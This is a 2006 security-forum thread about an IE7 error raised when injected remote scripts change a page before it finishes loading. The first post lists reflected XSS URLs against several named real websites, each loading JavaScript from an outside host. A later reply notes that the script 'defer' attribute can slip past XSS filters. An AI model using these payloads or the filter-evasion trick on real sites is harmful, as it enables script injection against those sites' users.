Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
For any nonsense or banter that doesn't fit anywhere else. LoL! omg! ROFL! 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
IE7 Error Message
Posted by: maluc
Date: October 28, 2006 06:25PM

anyone know why this occurs in ie7..? or better, a workaround. it generates an error in (dynamically loaded?) remote scripts that modify the HTML inside the body, before it finishes loading. if these don't generate an error like the following, reload the page once it finishes and the cached script should load fast enough to generate it.



these links should do it:
http://www.dataplace.org/login.html?username=%22%3E%3Cscript>qwe=document.createElement('script')%3Bqwe.src='http://maluc.sitesled.com/errortest.js'%3bdocument.appendChild(qwe)%3B</script>
http://www.dataplace.org/login.html?username=%22%3E%3Cscript+src='http://maluc.sitesled.com/errortest.js'></script>
http://www.rsnake.com/results.jsp?searchTerm=%3Cscript%20src=%22http://maluc.sitesled.com/errortest.js%22%3E%3C%2Fscript%3E&w=
http://www.wine.com/search/noresults.asp?Ntt=%22%3E%3Cscript%20src=%22http://maluc.sitesled.com/errortest.js%22%3E%3C%2Fscript%3E&D=blah
http://www.ohnorobot.com/index.pl?s=%3C%2Ftitle%3E%3Cscript%20src=http://maluc.sitesled.com/errortest.js%3E%3C%2Fscript%3E&Search=Search&comic=23&t=1&b=1&n=&d=&e=&m=

all that errortest.js is, is a one line: document.write('woooo');

was this some intentional 'security' feature? or some error in its HTML engine when being modified during download

-maluc



Edited 2 time(s). Last edit at 10/28/2006 09:17PM by maluc.

Options: ReplyQuote
Re: IE7 Error Message
Posted by: maluc
Date: October 28, 2006 09:15PM

ah, so i discovered the solution.. which is to use 'defer' in the script tag. it tells IE that it *can* wait until the page fully loads before executing the script. luckily it does follow that suggestion and waits. Firefox however doesn't. https://bugzilla.mozilla.org/show_bug.cgi?id=28293 So you might want to keep that in mind, should you be writing scripts that you want to access elements below it in the HTML page - or modify the body innerHTML.

another random note.. i found this amusing when visiting mozilla with https. IE7 says: 'We recommend that you close this webpage and do not continue to this website.'



Edit: should have clarified, the solution is to use a remote script by <script defer src=http://site.com></script>

-maluc



Edited 1 time(s). Last edit at 10/28/2006 09:26PM by maluc.

Options: ReplyQuote
Re: IE7 Error Message
Posted by: rsnake
Date: October 29, 2006 02:20PM

You probably wouldn't believe me if I told you, but I've actually seen the defer tag evade some filters because they expected script to be followed by a space and then src=

It's crazy how some people write code.

- RSnake
Gotta love it. http://ha.ckers.org

Options: ReplyQuote


Sorry, only registered users may post in this forum.